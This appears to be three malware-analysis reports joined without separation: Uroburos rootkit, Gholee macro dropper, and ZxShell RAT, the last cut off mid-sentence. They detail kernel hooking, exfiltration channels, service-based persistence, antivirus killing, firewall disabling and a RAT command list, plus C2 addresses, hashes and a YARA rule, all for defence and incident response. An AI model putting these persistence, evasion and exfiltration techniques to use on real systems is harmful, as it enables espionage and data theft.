The Uroburos rootkit is one of the most advanced rootkits we have ever analyzed in this environment. The oldest driver we identified was compiled in 2011, which means that the campaign remained undiscovered for at least three years. Infection vector still unknown At the current stage of the investigations it is unknown how Uroburos initially infiltrates high profile networks. Many infection vectors are conceivable. E.g. spear phishing, drive-by-infections, USB sticks, or social engineering attacks. Copyright 2014 G Data Software AG G Data Red Paper February 2014: Uroburos Analysis The G Data SecurityLabs discovered the rootkit dubbed Uroburos during 2013. We decided to investigate in depth soon after we identified the following three interesting aspects: the usage of virtual file systems the complexity of the framework the advanced network capabilities Uroburos name Uroburos is a direct reference to the Greek word Ouroboros ( ). The Ouroboros is an ancient symbol depicting a serpent or dragon eating its own tail. The name of this rootkit is inspired by a plain text string available in several driver files: Ur0bUr()sGotyOu# Figure 1: Uroburos name string within the driver s code Furthermore, we identified other references to the ancient serpent/dragon symbol within the rootkit s code, for example the following strings: inj_snake_Win32.dll inj_snake_Win64.dll snake_alloc snake_free snake_modules_command Another interesting notion: The exact spelling, Uroburos, can even be found in a webcomic called Homestuck. In this interactive webcomic, the reader/player needs two codes to receive virtual magic objects (called juju). Those two codes are in fact uROBuROS and UrobUros. We can notice that the uppercase and lowercase character order matches the string found within the malware code. Figure 2: Homestuck webcomic http://www.mspaintadventures.com/?s=6 Copyright 2014 G Data Software AG G Data Red Paper February 2014: Uroburos Rootkit framework The rootkit is basically composed of two files: a driver (.sys file); a virtual file system (.dat file). We identified several file names for the driver, for example: Ultra3.sys, msw32.sys, vstor32.sys. We have encountered 32-bit and 64-bit driver versions. The two binaries may be installed simultaneously on one system. The file containing the virtual file system has a random name, followed by the extension .dat. Furthermore, this file is located in the same directory as the driver file. The installation directory does change, but we were able to identify the following pattern: %SYSTEMROOT%\$Ntuninstall[Random_ID]$ The malware s persistence is established by the creation of a service which automatically executes during each startup of the system. The service is located in HKLM\System\CurrentControlSet\Services\Ultra3 The driver is needed to decrypt the virtual file systems create several hooks to hide its activities inject libraries in the users land establish and manage some communication channels Hiding malicious activities with the help of hooks A rootkit naturally tries to hide its activities from the user and so does Uroburos. The driver uses inline patching to perform the hooks, which is a common way to perform this task. Inline patching is carried out by modifying the beginning of a targeted system s function in order to redirect the execution flow to a custom code before jumping back to the original function. In the current case, the inline patching adds a new interrupt instruction (int 0xc3) at the beginning of the hooked function. Doing this, the malware adds malicious behavior to legitimate functions. Figure 3: Hook function is called and calls, in turn, the legitimate function Copyright 2014 G Data Software AG G Data Red Paper February 2014: Uroburos The main hooked functions are: ZwQueryKey(), ZwEnumerateKey(), ZwCreateKey() and ZwSaveKey() their purpose is to hide the persistence keys in the registry ZwReadFile() its purpose is to hide the driver and file system files ZwQuerySystemInformation() its purpose is to hide rootkit handles ZwTerminateProcess() Figure 4: ZwQueryKey() hook creation its purpose is to terminate cleanly the rootkit during the shutdown of the operating system ObOpenObjectByName() its purpose is to hide the rootkit s virtual file systems Virtual file systems The Uroburos rootkit uses two virtual file systems one NTFS file system and one FAT file system. They are stored locally, on the infected machine. This means that the victim s computer contains an encrypted file, which, in reality, hosts another file system. The virtual file systems are used as a work space by the attackers. They can store third party tools, post-exploitation tools, temporary files and binary output. The virtual file systems can be accessed through the devices \Device\RawDisk1 and \Device\RawDisk2 and the volume \\.\Hd1 and \\.\Hd2. The NTFS file system The encryption used for the file systems is CAST-128 1. The respective encryption key is hardcoded within the driver file. Once decrypted, the virtual file system is a classic NTFS volume, which can be simply accessed through the standard Microsoft file system APIs. During our analysis, we identified several files the file systems contained: .bat scripts used by the attackers .log files with the output of the execution of the .bat files third party tools queue files The .bat scripts contain some net use commands to map a remote file server, netstat commands to have network information, system info commands to get a complete view of the system configuration. Figure 5: Example of one of the .bat scripts http://en.wikipedia.org/wiki/CAST-128 Copyright 2014 G Data Software AG G Data Red Paper February 2014: Uroburos The queue file is the most interesting and complex part of the virtual file system. Each message in the queue contains a unique ID, a type, a timestamp and content. The content is also encrypted using the CAST-128 algorithm and the respective key is stored in a message, too. The messages can contain the following information: a key to decrypt other messages a configuration a file (or library injected in user land) Third party tools We found classic post-exploitation tools, used by a lot of different APT actors. The following list provides an overview of the tools found in the virtual file system: Dumper for NTLM (hash of a user s password). This information can be used to perform pass the hash 2 attacks, to compromise new systems within the infrastructure information gathering tools, to get information on the infected system RAR tools, to create archives of stolen documents Microsoft Office document stealer Figure 6: Information gathering example http://en.wikipedia.org/wiki/Pass_the_hash Copyright 2014 G Data Software AG G Data Red Paper February 2014: Uroburos Injected libraries - controlling the activities The driver injects several libraries into user land. These libraries are stored in encrypted form in the queue file. These files are used to create a kind of proxy between the kernel land and the user land. The driver injects two noteworthy libraries: inj_services_Win32.dll inj_snake_Win32.dll If the infected system is a 64-bit system, Win32 is replaced by Win64. The libraries are very huge (more than 150 functions) and contain a lot of features. They are able to manipulate the queue file from the user land. Following, a list of functions dedicated to the queue management (qm): qm_create() qm_enum() qm_find_first() qm_free() qm_move() qm_pop() qm_push() qm_read() qm_read_hdr() qm_reset_len() qm_rm() qm_rm_list() qm_set_dates() qm_set_parem() qm_write() The libraries have the capability to create and manage a pcap 3 capture. The purpose of this feature is to generate a snapshot of the network traffic. The libraries are furthermore used to exfiltrate data to the outside world, namely the attackers. We identified several protocols to perform this task: generally, the configuration needed for each protocol is stored in the queue file and not within the library itself. HTTP protocol the attackers can choose to use a website to exfiltrate data. The rootkit supports GET and POST requests and proxy authentication, too. The default URI is http://%s/default.asp but it is configurable. The media type of the request is chosen from the following list: application/vnd.ms-powerpoint application/vnd.ms-excel application/msword image/gif image/x-bitmap image/jpeg image/pjpeg application/x-shockwave-flash or */* http://en.wikipedia.org/wiki/Pcap Copyright 2014 G Data Software AG G Data Red Paper February 2014: Uroburos ICMP protocol the attackers can choose to use ICMP (ping) to exfiltrate data SMTP protocol the attackers can send exfiltrated data by email Named pipe the attackers can use Microsoft s named pipe to communicate to another infected machine. This case will be described in the next chapter Figure 7: HTTP media type list The design chosen by the developers is truly efficient: to add a new protocol and a new capability, the attackers do not need to recompile (or reinstall) the entire rootkit. They simply need to adjust the library and replace the library in the queue file with the adjusted one. The library usage results in modularity well thought out. Network capabilities Thanks to the protocol described previously, the attacker can even target victims not directly connected to the Internet. The following figure shows an example of a network scheme we discovered in 2013: Figure 8: Uroburos communication capabilities The targeted machine (A) is a machine with access to sensitive data, e.g. a server. The rootkit installed on the system opens a Microsoft named pipe and waits for an incoming connection. This machine can be named spied-on node Copyright 2014 G Data Software AG G Data Red Paper February 2014: Uroburos The second machine (B) is an office machine with the capability to connect to the Internet. The rootkit is configured to connect to system (A), with the help of the named pipe, and administrate the machine remotely. Finally, machine (B) is able to pass on all data received from machine (A) to the Internet. This machine (B) could be named proxy node This peer-to-peer design is really efficient, scalable and resilient. In case a proxy node is not available/detected, the attackers can use another infected one. The advantage for the attackers: even if a security specialist finds one spied-on node , he cannot easily find the proxy node , due to the fact that this node is a passive node. Furthermore, the analyst does not automatically have the command and control URL. In case of incident response, this design is complicated to apprehend and it is hard to contain the infection. Victims and attribution Due to the complexity of the Uroburos rootkit, we estimate that it was designed to target government institutions, research institutions or companies dealing with sensitive information as well as similar high-profile targets. Concerning the attribution, we found some technical information which allows us to link the Uroburos rootkit to a cyber-attack against the United States of America, carried out in 2008 4 and, particularly, to the worm used by the attackers, called Agent.BTZ. During this 2008 campaign, a USB stick was deliberately "lost" in the parking lot of the United States Department of Defense. This USB stick contained malicious code and infected the military s network. The following leads make us link what we discovered during our analysis with the cyber-attack carried out in 2008: the usage of the same obfuscation key in Uroburos and Agent.BTZ (1dM3uu4j7Fw4sjnbcwlDqet4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f 5cvd0fk6c1a0s) the usage of the same file name to store logs: winview.ocx Uroburos actually checks whether Agent.BTZ is already present on the attacked system, before its installation. In case Agent.BTZ is installed, Uroburos will not be installed on the system. the usage of Russian language in both codes In an article published by Reuters, in 2011, the journalist mentioned that U.S. government strongly suspects that the original attack was crafted by Russian Intelligence. 5 We found Uroburos samples with a resource in Russian language: Figure 9: Resource with Russian language In case someone from the audience of this report notices an infection caused by the Uroburos rootkit and needs help, would like to receive further technical information or would like to contribute any information about this case, please feel free to contact us by email using the following mailbox: intelligence@gdata.de http://en.wikipedia.org/wiki/2008_cyberattack_on_United_States http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 Copyright 2014 G Data Software AG G Data Red Paper February 2014: Uroburos Conclusion The Uroburos rootkit is one of the most advanced rootkits we have ever analyzed. The oldest driver we identified was compiled in 2011, which means that the campaign remained undiscovered for at least three years. The investment to develop a complete framework such as Uroburos is extremely high. The developer team behind the development and the design of such an enhanced framework is really skilled. We believe that, until today, the team behind Uroburos has developed an even more sophisticated framework, which still remains undiscovered. The design is highly professional; the fact the attackers use a driver and a virtual file system in two separate files which can only work in combination, makes the analysis really complicated. One needs to have the two components to correctly analyze the framework. The driver contains all of the necessary functionality and the file system alone simply cannot be decrypted. The network design is extraordinarily efficient, too; for an incident response team, it is always complicated to deal with peer-to-peer infrastructure. It is also hard to handle passive nodes, because one cannot quickly identify the link between the different infected machines. This kind of data stealing software is too expensive to be used as common spyware. We assume that the attackers reserve the Uroburos framework for dedicated and critical targets. This is the main reason why the rootkit was only detected many years after the suspected first infection. Furthermore, we assume that the framework is designed to perform cyber espionage within governments and high profile enterprises but, due to its modularity, it can be easily extended to gain new features and perform further attacks as long as it remains undetected within its target. There are some strong indications which suggest that the group behind Uroburos is the same as the one behind Agent.BTZ, which allegedly was part of an intelligence agency cyberattack targeting US military bases in 2008. Notable hints include the usage of the exact same encryption key then and now, as well as the presence of Russian language in both cases. Technical details SHA256: BF1CFC65B78F5222D35DC3BD2F0A87C9798BCE5A48348649DD271CE395656341 MD5: 320F4E6EE421C1616BD058E73CFEA282 Filesize: 210944 For further information contact intelligence@gdata.de Copyright 2014 G Data Software AG http://www.clearskysec.com/gholee-a-protective-... Introduction During the 2014 Israel Gaza con ict, dubbed by Israel as operation protective edge , a raise in cyber-attacks against Israeli targets was reported. In this report we analyze one case of an operation protective edge themed spear phishing attack. That email contained a malicious excel le, which once opened and its VBA code executed, would infect the victim s computer. As for the publication of this report, the le is recognized as malicious by only one antivirus engine. Based on our analysis, we believe the threat actor behind this malware is a high level professional. Gholee Our investigation of the Gholee malware started following a detection of a suspicious le that was sent in an email to an undisclosed recipient. The le name was Operation Protective Edge.xlsb (MD5: d0c3f4c9896d41a7c42737134ffb4c2e). The le was uploaded to Virus Total the rst time on 10 August 2014, from Israel. At that time it was not detected as malicious by any of the 52 tested antivirus engines. Nine days later, it was 1 of 8 03/22/2015 07:49 PM http://www.clearskysec.com/gholee-a-protective-... uploaded again to Virus total, again from Israel. This time it was detected as malicious only by Kaspersky, as TrojanDropper.MSExcel.Agent.ce. Infection Upon opening the le a message is displayed, saying: Due to security considerations I consciously hid the Informations. It will be visible for you by enabling content above. This is a social engineering tactic meant to lure the victim into enabling Macro content. If enabled, the message disappears, and the following information is presented to the victim (it is possible that the unreadable characters in the screenshot below are the result of an encoding error in our lab environment, and that the victim would see different, readable content). Technical Analysis Analysis of the Macro code reveals the following structure: In order to avoid detection by protection measures such as computer antivirus and intrusion detection systems, ASCII 2 of 8 03/22/2015 07:49 PM http://www.clearskysec.com/gholee-a-protective-... characters codes are used instead of actual characters. The ASCII codes are converted to strings as they are concatenated into a single variable within a function Tens of these functions then concatenated, creating a single PE Finally, the le is saved to NTUSER.data.{GUIDE}.dll (MD5: 48573a150562c57742230583456b4c02) and the function ShellExecte is used to run it under cmd.exe /C and Rundll32 This is in order to hide the process. The Dll le is obfuscated and includes various mechanism to hide from Debuggers such as Ollydbg and IDA and from Sandbox software such as Cuckoo and Anubis. Analyzing the le, we have found an interesting entry point called gholee. 3 of 8 03/22/2015 07:49 PM http://www.clearskysec.com/gholee-a-protective-... A quick Facebook search for that name and Iran discovered Gholee is a popular Iranian singer: Communication When run, the DLL le is communicating with a Kuwait based IP address: 83.170.33.60, owned by German company iABG Mbh, which provides satellite communication services. 4 of 8 03/22/2015 07:49 PM http://www.clearskysec.com/gholee-a-protective-... The malware opens an SSL connection over port 443 using a digital certi cate that expired in 2010. The certi cate was issued for security company Core Security, the creators of the offensive suite Core Impact, for the address *coreimpactagent.net. It was issued by Thawte certi cate authority. [10] 5 of 8 03/22/2015 07:49 PM http://www.clearskysec.com/gholee-a-protective-... [11] Certi cate Fingerprint MD5: 9C 80 C2 47 40 6D 6C ED FC E0 08 AE EF D9 98 90 Using a proxy and SSL stripping, the following communication pattern over HTTP can be seen: /index.php?c=Ud7atknq&r=17117d HTTP/1.1 POST /index.php?c=Ud7atknq&r=1710b2 HTTP/1.1 Related incidents Searching for speci c strings from the malicious le, we found another le that we believe is related to this campaign. The name is svchost 67.exe (MD5: 916be1b609ed3dc80e5039a1d8102e82 ) and it was uploaded to Virus Total[5] on 2 June 2014, more than two months earlier than Operation Protective Edge.xlsb . It was uploaded twice from Latvia potentially to test the malware s detection rate. svchost 67.exe communicated with 83.170.33.37, which is on the same /26 netblock as the address Operation Protective Edge.xlsb 6 of 8 03/22/2015 07:49 PM http://www.clearskysec.com/gholee-a-protective-... is commutating with. Detection and prevention By using GPO to disable macro code from running, infection by this malware may be avoided. Alternatively, les containing macro code should be blocked at the email gateway or by an anti-spam solution. Logs and proxy servers should be checked for communication with the IP addresses with which the malware communicates: 83.170.33.60 83.170.33.37 If you think you got infected, check in the system root folder for a le called NTUSER.DAT.{$GUID}.dll . for example: NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0b**c}.dll The following Yara rule may be used to detect the gholee malware: rule gholee meta: author = www.clearskysec.com date = 2014/08 7 of 8 03/22/2015 07:49 PM http://www.clearskysec.com/gholee-a-protective-... maltype = Remote Access Trojan letype = strings: $a = sandbox_avg10_vc9_SP1_2011 $b = gholee condition: all of them 1. http://www.clearskysec.com/wp-content/uploads/2014/09/2.png 2. http://www.clearskysec.com/wp-content/uploads/2014/09/5.png 3. http://www.clearskysec.com/wp-content/uploads/2014/09/5.png 4. http://www.clearskysec.com/wp-content/uploads/2014/09/6.png 5. http://www.clearskysec.com/wp-content/uploads/2014/09/6.png 6. http://www.clearskysec.com/wp-content/uploads/2014/09/1.png 7. http://www.clearskysec.com/wp-content/uploads/2014/09/7.png 8. http://www.clearskysec.com/wp-content/uploads/2014/09/8.png 9. http://www.clearskysec.com/wp-content/uploads/2014/09/8.png 10. http://www.clearskysec.com/wp-content/uploads/2014/09/9.png 11. http://www.clearskysec.com/wp-content/uploads/2014/09/9.png 8 of 8 03/22/2015 07:49 PM Threat Spotlight: Group 72, Opening the ZxShell This post was authored by Andrea Allievi, Douglas Goddard, Shaun Hurley, and Alain Zidouemba. Recently, there was a blog post on the takedown of a botnet used by threat actor group known as Group 72 and their involvement in Operation SMN. This group is sophisticated, well funded, and exclusively targets high profile organizations with high value intellectual property in the manufacturing, industrial, aerospace, defense, and media sector. The primary attack vectors are watering-hole, spear phishing, and other web-based attacks. Frequently, a remote administration tool (RAT) is used to maintain persistence within a victim s organization. These tools are used to further compromise the organization by attacking other hosts inside the targets network. ZxShell (aka Sensocode) is a Remote Administration Tool (RAT) used by Group 72 to conduct cyber-espionage operations. Once the RAT is installed on the host it will be used to administer the client, exfiltrate data, or leverage the client as a pivot to attack an organization s internal infrastructure. Here is a short list of the types of tools included with ZxShell: Keylogger (used to capture passwords and other interesting data) Command line shell for remote administration Remote desktop Various network attack tools used to fingerprint and compromise other hosts on the network Local user account creation tools For a complete list of tools please see the MainConnectionIo section. The following paper is a technical analysis on the functionality of ZxShell. The analysts involved were able to identify command and control (C2) servers, dropper and installation methods, means of persistence, and identify the attack tools that are core to the RAT s purpose. In addition, the researchers used their analysis to provide detection coverage for Snort, Fireamp, and ClamAV. Table of Contents 1. Background 2. Distribution and Delivery 3. Analysis of the main ZxShell module DllMain Install ServiceMain ShellMain ShellMainThread GetIpListAndConnect MainConnectionIo Uninstall ZxFunction001 ZxFunction002 4. Command and Control server 5. Malware Package 6. Version Information 7. Extracted URL Analysis 8. Conclusion 9. Protecting Users From These Threats 10. Appendix A: Snort rules 11. Appendix B: ClamAV signatures 12. Appendix C: List of Memory Offsets for Some ZxShell Functions 13. Appendix D: Other Collateral Background ZxShell has been around since 2004. There are a lot of versions available in the underground market. We have analyzed the most common version of ZxShell, version 3.10. There are newer versions, up to version 3.39 as of October 2014. Distribution and Delivery An individual who goes by the name LZX in some online forums is believed to be the original author of ZxShell. Since ZxShell has been around since at least 2004, numerous people have purchased or obtained the tools necessary to set up ZxShell command and control servers (C&C) and generate the malware that is placed on the victim s network. ZxShell has been observed to be distributed through phishing attacks, dropped by exploits that leverage vulnerabilities such as CVE-20112462, CVE-2013-3163, and CVE-2014-0322. Analysis of the Main ZxShell Module To illustrate the functionality of main ZxShell module, Let s take a look at the following sample: MD5: e3878d541d17b156b7ca447eeb49d96a SHA256: 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c It exports the following functions, which are examined in greater detail below: DllMain Install UnInstall ServiceMain ShellMain ShellMainThread zxFunction001 zxFunction002 DllMain DllMain performs the initialization of ZxShell. It allocates a buffer of 0x2800 bytes and copies the code for the ZxGetLibAndProcAddr function. To copy memory, the memcpy function is invoked. It is not directly used from msvcrt.dll but is instead copied to another memory chunk before being called. Finally, the trojan Import Address Table (IAT) is resolved and the file path of the process that hosts the dll is resolved and saved in a global variable. Install ZxShell.dll is injected in a shared SVCHOST process. The Svchost group registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost is opened and the netsvc group value data is queried to generate a name for the service. Before the malware can be installed a unique name must to be generated for the service. The malware accomplishes this through querying the netsvc group value data located in the svchost group registry key which is HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost. At startup, Svchost.exe checks the services part of the registry and constructs a list of services to load. Each Svchost session can contain multiple shared services that are organized in groups. Therefore, separate services can run, depending on how and where Svchost.exe is started. Image 1. Svchost Groups registry key Svchost.exe groups are identified in the above registry key. Each value under this key represents a separate Svchost group and appears as a separate instance when you are viewing active processes. Each value is a REG_MULTI_SZ value and contains the services that run under that Svchost group. Each Svchost group can contain one or more service names that are extracted from the following registry key, whose Parameters key contains a ServiceDLL value: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Service On a Windows machine, the netsvc group contains names of both existing and non-existing services. ZxShell exploits this fact by cycling between each of the names, verifying the existence of the real service. The service s existence is verified with the ServiceExists function, which attempts to open the relative registry sub-key in HKLM\SYSTEM\CurrentControlSet\Services. The first service name that is not installed on the system becomes the ZxShell service name. A new service is then created using the service parser function ProcessScCommand. ZxShell implemented its own version of the Windows SC command. There are minor differences between the ZxShell implementation of this command and the original Windows one, but they are irrelevant for the purpose of the analysis The command used to install the service is: sc create %SystemRoot%\System32\svchost.exe -k netsvcs where is the chosen infected service name. Image 2. command used to create the target service,and parsed by ProcessScCommand routine The installed service registry key is opened and the 2 values under its Parameter subkey are created. These 2 values, ServiceDll and ServiceDllUnloadOnStop are needed for services that run in a shared process. Before the service is started ChangeServiceConfig is called to modify the service type to shared and interactive. If the service fails to start then a random service name formatted as netsvc_xxxxxxxx, where xxxxxxxx represent an 8-digit random hex value, is added to the netsvc group and the entire function is repeated. ServiceMain This function is the entry point of the service. It registers the service using the RegisterServiceCtrlHandler Windows API function. The ZxShell service handler routine is only a stub: it responds to each service request code, doing nothing, and finally exits. It sets the service status to RUNNING and finally calls the ShellMain function of ZxShell. ShellMain The ShellMain function is a stub that relocates the DLL to another buffer and spawns a thread that starts from ShellMainThreadInt at offset +0xC0CD. The ShellMainThreadInt function gets the HeapDestroy Windows API address and replaces the first 3 bytes with the RET 4 opcode. Subsequently, it calls the FreeLibrary function to free its own DLL buffer located at its original address. Because of this, the allocated heaps will not be freed. It re-copies the DLL from the new buffer to the original one using the memcpy function. Finally, it spawns the main thread that starts at the original location of ShellMainThread procedure, and terminates. At this point, the ZxShell library is no longer linked in the module list of the host process. This is important because if any system tool tries to open the host process it will never display the ZxShell DLL. ShellMainThread This thread implements the main code, responsible for the entire botnet DLL. First, it checks if the DLL is executed as a service. If so, it spawns the service watchdog thread. The watchdog thread checks the registry path of the ZxShell service every 2 seconds, to verify that it hasn t been modified. If a user or an application modifies the ZxShell service registry key, the code restores the original infected service key and values. Image 3. The watchdog thread of ZxShell service The buffer containing the ZxShell Dll in the new location is freed using the VirtualFree API function. A handle to the DLL file is taken in order to make its deletion more difficult. The ZxShell mutex is created named @_ZXSHELL_@. ZxShell plugins are parsed and loaded with the AnalyseAndLoadPlugins function. The plugin registry key HKLM\SYSTEM\CurrentControlSet\Control\zxplug is opened and each value is queried. The registry value contains the plugin file name. The target file is loaded using the LoadLibrary API function, and the address of the exported function zxMain is obtained with GetProcAddress. If the target filename is incorrect or invalid the plugin file is deleted and the registry value is erased. That is performed by the function DeleteAndLogPlugin. Otherwise, the plugin is added to an internal list. Here is the data structure used to keep track of the plugins: typedef struct _ZX_PLUGINS_STRUCT { LPSTR lpStrRegKey; // + 0x00 - ZxShell Plugins registry key string // (like 'SYSTEM\CurrentControlSet\Control\zxplug') DWORD dwUnknown2; // + 0x04 - Unknown DWORD value LPVOID lp138hBuff; // + 0x08 - Plugins list DWORD dwZero; // + 0x0C - Always zero HANDLE hReg; // + 0x10 - Handle to plugin registry key } ZX_PLUGINS_STRUCT, *PZX_PLUGINS_STRUCT; The thread KeyloggerThread is spawned and is responsible for doing keylogging on the target workstation. We will take a look at the keylogger later on. Finally the main network communication function GetIpListAndConnect is called. GetIpListAndConnect This function is at the core of the RAT s network communication. It starts by initializing a random number generator and reading 100 bytes inside the ZxShell Dll at a hardcoded location. These bytes are XOR encrypted with the byte-key 0x85 and contains a list of remote hosts where to connect. The data is decrypted, the remote host list is parsed and verified using the BuildTargetIpListStruct function. There are 3 types of lists recognized by ZxShell: plain ip addresses, HTTP and FTP addresses. If the list does not contain any item, or if the verification has failed, the ZxShell sample tries to connect to a hardcoded host with the goal of retrieving a new updated list. Otherwise, ZxShell tries to connect to the first item of the list. If ZxShell successfully connects to the remote host, the function DoHandshake is called. This function implements the initial handshake which consists of exchanging 16 bytes, 0x00001985 and 0x00000425, with the server. The function GetLocalPcDescrStr is used to compose a large string that contains system information of the target workstation. That information is the following: local hostname organization owner operating system details CPU speed total physical memory The string is sent to the remote host and the response is checked to see if the first byte of the response is 0xF4, an arbitrary byte. If it is, the botnet connection I/O procedure is called through the MainConnectionIo function. Image 4. The GetLocalPcDescrStr and DoHandshake functions called beforestarting the command processing Otherwise, the ZxShell code closes the socket used and sleeps for 30 seconds. It will then retry the connection with the next remote host, if there is one. It is noteworthy that this function includes the code to set the ZxShell node as a server: if one of the hardcoded boolean value is set to 1, a listening socket is created. The code waits for an incoming connection. When the connection is established a new thread is spawned that starts with the MainConnectionIo function. MainConnectionIo The MainConnectionIo function checks if the Windows Firewall is enabled, sets the Tcp Keep Alive value and Non-blocking mode connection options and receives data from the remote host through the ReceiveCommandData function. If the communication fails, ZxShell disables the firewall by modifying the registry key: HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile Then the connection is retried. The received command is then processed by the ZxShell function with the ProcessCommand function. The command processing function starts by substituting the main module name and path in the hosting process PEB, with the one of the default internet browser. The path of the main browser of the workstation is obtained by reading the registry value: HKLM\SOFTWARE\Classes\HTTP\shell\open\command Image 5. Our test workstation use Windows Internet Explorer as default browser This trick renders identification by firewall more cumbersome. A host firewall will recognize the outgoing connection as originated by the browser instead of the ZxShell service host process. The browser process always performs outgoing connections and the firewall shouldn t block them. The command processing is straightforward. Here is the list of common commands: COMMAND MEANING Help / ? Get help Exit / Quit Exit and shut down the botnet client SysInfo Get target System information SYNFlood Perform a SYN attack on a host Process service Unix command implementation CleanEvent Clear System Event log FindPass Find login account password FileTime Get time information about a file FindDialPass List all the dial-up accounts and passwords User Account Management System TransFile Transfer file in or from remote host Execute Run a program in the remote host Service control command, implemented as the Windows one Clone user account RunAs Create new process as another User or Process context. TermSvc Terminal service configuration (working on Win Xp/2003) GetCMD Remote Shell Shutdown Logout, shutdown or restart the target system ZXARPS Spoofing, redirection, packet capture ZXNC Run ZXNC v1.1 -- a simple telnet client ZXHttpProxy Run a HTTP proxy server on the workstation ZXSockProxy Run a Sock 4 & 5 Proxy server ZXHttpServer Run a custom HTTP server PortScan Run TCP Port MultiScanner v1.0 KeyLog Capture or record the remote computer s keystrokes. The implementation is a userland keylogger that polls the keymap with each keystroke. LoadDll Load a DLL into the specified process Terminate ZxShell DLL Uninstall Uninstall and terminate ZxShell bot DLL ShareShell Share a shell to other CloseFW Switch off Windows Firewall FileMG File Manager winvnc Remote Desktop rPortMap Port Forwarding capsrv Video Device Spying zxplug Add and load a ZxShell custom plugin This set of functionality allows the operator complete control of a system. Being able to transfer and execute files on the infected system means the attacker can run any code they please. Further, the keylogging and remote desktop functionality allows the operator to spy on the infected machine, observing all keystrokes and viewing all user actions. Uninstall Unloads ZxShell and deletes all of the active components. This simply deletes the ZxShell service key from the Windows registry (using SHDeleteKey Api) and all of the subkeys. Finally, it marks ZxShell main Dll for deletion with the MoveFileEx Windows API. ZxFunction001 This function is the supporting functionality for WinVNC. To allow the VNC session to connect, the current network socket WSAProtcol_Info structure is written to a named pipe prior to calling zxFunction001. Once the named pipe has been created, CreateProcessAsUserA is called with the following as the CommandLine parameter : \\rundll32.exe ,zxFunction001 zxFunction001 modifies the current process memory, uses data contained in the named pipe to create a socket, and then executes the code that sends the remote desktop session to the server controller. ZxFunction002 This function will either bind the calling process to a port or has the calling process connect to a remote host. The function is called in the following manner: \\rundll32.exe ,zxFunction002 The functionality (connect or bind) depends on the data contained within the named pipe. Unlike zxFunction001, this is not used by any of the RAT commands in the zxshell.dll. Kernel Device Driver LoveUSD Apart from user-mode ZxShell droppers mentioned earlier, there is a file (SHA256: 1e200d0d3de360d9c32e30d4c98f07e100f6260a86a817943a8fb06995c15335) that installs a kernel device driver called loveusd.sys. The architecture of this dropper is different from the others: it starts extracting the main driver from itself. It adds the SeLoadDriver privilege to its access token and proceeds to install the driver as a fake disk filter driver. ZxShell opens the registry key that describes the disk class drivers: SYSTEM\CurrentControlSet\Control\Class\{4D36E967-E325-11CE-BFC1-08002BE10318} It then adds the Loveusd.sys extracted driver name to the upper filter list. In our analysed sample the Loveusd.sys driver is installed with the name USBHPMS . Finally the driver is started using the ZwLoadDriver native API. The ZxShell driver starts by acquiring some kernel information and then hooking ObReferenceObjectByHandle API. Finally it spawns 2 system threads. The first thread is the communication thread. ZxShell employs a strange method for communication: it hooks the NtWriteFile API and recognizes 5 different special handle values as commands: 0x111111111 -- Hide Loveusd driver from the system kernel driver list 0x22222222 -- Securely delete an in-use or no-access target file-name 0x44444444 -- Unhook the ZwWriteFile API and hook KiFastCallEntry 0x55555555 -- Remove the ZxShell Image Load Notify routine 0x88888888 -- Set a special value called type in Windows registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverMain The second Loveusd system thread does a lot of things. Its principal duties are to create the ZxShell main DLL in c:\Windows\System32\commhlp32.dll and to install the Kernel Load Image Notify routine . The code then tries to kill each process and service that belongs to the following list of AV products: Symantec Firewall Norton ESET McAfee Avast Avira Sophos Malwarebytes Next, the ZxShell Load-Image Notify function prevents the AV processes from restarting. The installation procedure continues in the user-mode dropper. The ZxShell service is installed as usual, and the in-execution dropper is deleted permanently using the special handle value 0x22222222 for the WriteFile API call. This handle value is invalid: all the windows kernel handle values are by design a multiple of 4. The ZxShell hook code knows that and intercept ObReferenceObjectByHandle is a Kernel routine designed to validate a target object and return the pointer to its object body (and even its handle information), starting from the object handle (even the user-mode one). The hook installed by ZxShell implements one of its filtering routine. It filters each attempt to open the ZxShell protected driver or the main DLL, returning a reference to the netstat.exe file. The protection is enabled to all processes except for ones in the following list: Svchost.exe, Lsass.exe, Winlogon.exe, Services.exe, Csrss.exe, ctfmon.exe, Rundll32.exe, mpnotify.exe, update.exe. If the type of the object that the system is trying to validate is a process, the hook code rewrites again the configuration data of the ZxShell service in the windows registry. Image 6. Our test Windows XP workstation trying to open the sys file of ZxShell LOVEUSD driver The last type of Kernel modification that ZxShell rootkit performs is the system call dispatcher (KiFastCallEntry) hook. In this manner, ZxShell is able to completely hide itself, intercepting the following Kernel API calls: ZwAllocateVirtualMemory, ZwOpenEvent, ZwQueryDirectoryFile, ZwWriteFile, ZwEnumerateKey, and ZwDeviceIoControlFile. Command and Control Server Sample (SHA256: 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c) is configured to act as a server. The symbol g_bCreateListenSck is set to 1. This means that, as seen above, the ZxShell Dll is started in listening mode. It connects to the first remote C&C that tries to contact it and succeeds in the handshake. The encrypted IP address is 127.0.0.2 (used as loopback) and no connection is made on that IP address (due to the listening variable set to 1). Malware Package We used the ZxShell package for version 3.10 (SHA256: 1622460afbc8a255141256cb77af61c670ec21291df8fe0989c37852b59422b4).The convenient thing about this is that the CNC panel worked with any version, 3.10 and above. The buttons are all in Chinese, with the help of Google Translate and keen detective skills (read: button clicking), we ve deciphered the functionality. When you start the controller, you need to set the port you want to listen on and if you ve set a password, add it here. Once an infected machine connects, you see its information displayed in a selection box at the top. There are some built in functions on the side for the more common features. These include remote desktop, webcam spying, remote shell, and file management. You can also select a host and type help for a full list of commands. I have the same machine infected with two different version of ZxShell. Sending the help command for each, you can see the extra features added between version 3.1 and 3.2. Keylogging, ZXARPS (IP and URL spoofing), and SYNFlood are some of the interesting features added to version 3.2. Version Information We wrote a script to extract version info from the binaries we have. 3.100 : 914 3.200 : 152 3.210 : 118 3.220 : 14 3.390 : 3 In versions 3.1 -- 